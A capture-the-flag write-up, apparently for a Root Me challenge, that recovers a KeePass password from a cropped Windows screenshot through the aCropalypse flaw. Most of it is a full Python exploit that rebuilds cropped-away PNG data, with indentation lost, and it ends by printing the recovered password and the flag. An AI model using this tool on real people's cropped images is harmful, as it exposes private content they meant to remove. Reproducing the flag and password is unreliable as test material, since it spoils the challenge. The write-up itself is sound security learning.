Capture This

In the challenge there are 2 files 1 is the picture and another is the encrypted database file which needs password to open

Let’s try to crack it with the john

It’s not crackable maybe there is another hint I found something while analyzing the image

Maybe this screenshot might be cropped
but wait a minute it’s looks like window 10 and picture is cropped but there is one vulnureability found do exist in window 10 aCropalypse is a vulnerability found in certain image processing applications where cropped image data isn't fully removed from the final file.

#!/usr/bin/env python3
import argparse
import io
import os
import struct
import sys
import tempfile
import zlib
# -------------------------
# Acropalypse helper class
# -------------------------
class Acropalypse():
def parse_png_chunk(self, stream):
size = int.from_bytes(stream.read(4), "big")
ctype = stream.read(4)
body = stream.read(size)
csum = int.from_bytes(stream.read(4), "big")
assert(zlib.crc32(ctype + body) == csum)
return ctype, body
def pack_png_chunk(self, stream, name, body):
stream.write(len(body).to_bytes(4, "big"))
stream.write(name)
stream.write(body)
crc = zlib.crc32(body, zlib.crc32(name))
stream.write(crc.to_bytes(4, "big"))
def reconstruct_image(self, cropped_image_file, img_width, img_heigth, rgb_alpha, output_path=None):
"""
Reconstruct the original image data from a vulnerable cropped PNG.
cropped_image_file: path to cropped PNG
img_width/img_heigth: ORIGINAL image dimensions (before cropping)
rgb_alpha: True if original image had alpha (RGBA), else False (RGB)
output_path: optional output path; defaults to <tempdir>/restored.png
"""
PNG_MAGIC = b"\x89PNG\r\n\x1a\n"
orig_width = img_width
orig_height = img_heigth
with open(cropped_image_file, "rb") as f_in:
magic = f_in.read(len(PNG_MAGIC))
if magic != PNG_MAGIC:
raise Exception("Input is not a valid PNG.")
# find end of cropped PNG
while True:
ctype, body = self.parse_png_chunk(f_in)
if ctype == b"IEND":
break
# grab the trailing data
trailer = f_in.read()
print(f"[+] Found {len(trailer)} trailing bytes")
# find the start of the next idat chunk
try:
next_idat = trailer.index(b"IDAT", 12)
except ValueError:
raise Exception("No trailing IDATs found; file may not be vulnerable or not a PNG cropped in a vulnerable way.")
# skip first 12 bytes in case they were part of a chunk boundary
idat = trailer[12:next_idat-8] # last 8 bytes are crc32, next chunk len
stream = io.BytesIO(trailer[next_idat-4:])
while True:
ctype, body = self.parse_png_chunk(stream)
if ctype == b"IDAT":
idat += body
elif ctype == b"IEND":
break
else:
raise Exception("Unexpected chunk type encountered: " + repr(ctype))
idat = idat[:-4] # slice off the adler32
print(f"[+] Extracted {len(idat)} bytes of IDAT")
print("[*] Building bitstream...")
bitstream = []
for byte in idat:
for bit in range(8):
bitstream.append((byte >> bit) & 1)
# add some padding so we don't lose any bits
for _ in range(7):
bitstream.append(0)
print("[*] Reconstructing bit-shifted bytestreams...")
byte_offsets = []
for i in range(8):
shifted_bytestream = []
for j in range(i, len(bitstream)-7, 8):
val = 0
for k in range(8):
val |= bitstream[j+k] << k
shifted_bytestream.append(val)
byte_offsets.append(bytes(shifted_bytestream))
# sanity checks
assert(byte_offsets[0] == idat)
assert(byte_offsets[1] != idat)
print("[*] Scanning for viable parses...")
# prefix stream with 32k bytes so backrefs can work
prefix_length = 0x8000
prefix = (
b"\x00"
+ (prefix_length).to_bytes(2, "little")
+ (prefix_length ^ 0xFFFF).to_bytes(2, "little")
+ b"\x00" * prefix_length
)
decompressed = None
for i in range(len(idat)):
truncated = byte_offsets[i % 8][i // 8:]
# only try if (maybe) the start of a non-final adaptive huffman coded block
if truncated and truncated[0] & 7 != 0b100:
continue
d = zlib.decompressobj(wbits=-15)
try:
candidate = d.decompress(prefix + truncated) + d.flush(zlib.Z_FINISH)
candidate = candidate[prefix_length:] # remove leading padding
# there might be a null byte if we added too many padding bits
if d.eof and d.unused_data in (b"", b"\x00"):
print(f"[+] Found viable parse at bit offset {i}")
decompressed = candidate
break
else:
print(f"[-] Parsed to end of zlib stream but leftover {len(d.unused_data)} bytes; skipping.")
except zlib.error:
pass
if decompressed is None:
raise Exception("Failed to find a viable zlib parse. Reconstruction not possible with given file/params.")
print("[*] Generating output PNG...")
# Where to write
if output_path is None:
output_path = os.path.join(tempfile.gettempdir(), "restored.png")
with open(output_path, "wb") as out:
# PNG signature
out.write(PNG_MAGIC)
# IHDR
ihdr = b""
ihdr += orig_width.to_bytes(4, "big")
ihdr += orig_height.to_bytes(4, "big")
ihdr += (8).to_bytes(1, "big") # bitdepth
if rgb_alpha:
ihdr += (6).to_bytes(1, "big") # true colour with alpha (RGBA)
else:
ihdr += (2).to_bytes(1, "big") # true colour (RGB)
ihdr += (0).to_bytes(1, "big") # compression method
ihdr += (0).to_bytes(1, "big") # filter method
ihdr += (0).to_bytes(1, "big") # interlace method
self.pack_png_chunk(out, b"IHDR", ihdr)
# fill missing data with solid magenta (RGB(255,0,255))
if rgb_alpha:
reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
else:
reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
# paste in recovered decompressed scanlines at the end
reconstructed_idat[-len(decompressed):] = decompressed
self.pack_png_chunk(out, b"IDAT", zlib.compress(reconstructed_idat))
self.pack_png_chunk(out, b"IEND", b"")
print(f"[
] Done. Wrote: {output_path}")
return output_path
def detect_png(self, input_source):
try:
with open(input_source, 'rb') as file:
data = file.read()
except FileNotFoundError:
return f"File not found: {input_source}"
png_signature = b'\x89PNG\r\n\x1a\n'
iend_chunk = b'IEND'
if not data.startswith(png_signature):
return f"The file at {input_source} is not a valid PNG file."
iend_index = data.find(iend_chunk)
if iend_index == -1:
return f"The file at {input_source} is not a valid PNG file."
iend_length = 4
crc_length = 4
iend_full_chunk_length = iend_length + crc_length
# Check if there is data after the IEND chunk
if len(data) > iend_index + iend_full_chunk_length:
return True
else:
return False
# -------------------------
# CLI wrapper
# -------------------------
def main():
parser = argparse.ArgumentParser(
description="Recover cropped PNGs vulnerable to Acropalypse (Pixel/Windows Snipping Tool issue)."
)
parser.add_argument("input", help="Path to the cropped PNG")
parser.add_argument("--width", type=int, required=True, help="Original image width (before cropping)")
parser.add_argument("--height", type=int, required=True, help="Original image height (before cropping)")
parser.add_argument("--rgba", action="store_true", help="Set if the original image had an alpha channel (RGBA). Default is RGB.")
parser.add_argument("-o", "--output", default=None, help="Output PNG path (default: tempdir/restored.png)")
parser.add_argument("--force", action="store_true", help="Attempt recovery even if file doesn't look vulnerable")
args = parser.parse_args()
ac = Acropalypse()
vuln = ac.detect_png(args.input)
if vuln is not True and not args.force:
print(f"[-] Not proceeding: {vuln if isinstance(vuln, str) else 'File appears not vulnerable (no trailing data). Use --force to try anyway.'}")
sys.exit(1)
else:
if vuln is True:
print("[+] PNG appears vulnerable (trailing data present). Attempting recovery...")
elif args.force:
print("[!] Forcing recovery attempt regardless of vulnerability check result.")
try:
out = ac.reconstruct_image(
cropped_image_file=args.input,
img_width=args.width,
img_heigth=args.height,
rgb_alpha=args.rgba,
output_path=args.output
)
print(f"[+] Recovered image written to: {out}")
except Exception as e:
print(f"[!] Recovery failed: {e}")
sys.exit(2)
if __name__ == "__main__":
main()this is the code i have used to recover the image

so the password for keypass file is ‘-=b9w9h^+j%\x-rMPUqv9Vv`@X%*=a’


got our flag for root me which is ‘@cropalypse_vuln_is_impressive’